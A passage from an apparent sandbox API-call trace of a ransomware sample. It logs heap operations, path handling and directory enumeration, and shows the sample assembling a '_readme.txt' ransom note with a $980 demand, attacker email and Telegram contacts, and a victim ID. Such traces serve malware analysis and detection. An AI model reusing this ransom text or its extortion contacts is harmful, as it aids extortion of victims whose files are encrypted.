Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.626] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0119.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.626] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.626] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.626] PathFindFileNameW (pszPath="") returned="" [0119.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.627] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.627] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x800) returned 0x3092b80 [0119.627] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x810) returned 0x307f550 [0119.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b78 [0119.627] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.627] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0119.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.627] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0119.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x7d00) returned 0x3095780 [0119.628] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.628] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" [0119.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x3080660 [0119.628] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\_readme.txt" (normalized: "c:\\boot\\ko-kr\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.628] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.629] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.629] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0119.629] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0119.629] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.629] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b28 [0119.633] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.633] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: 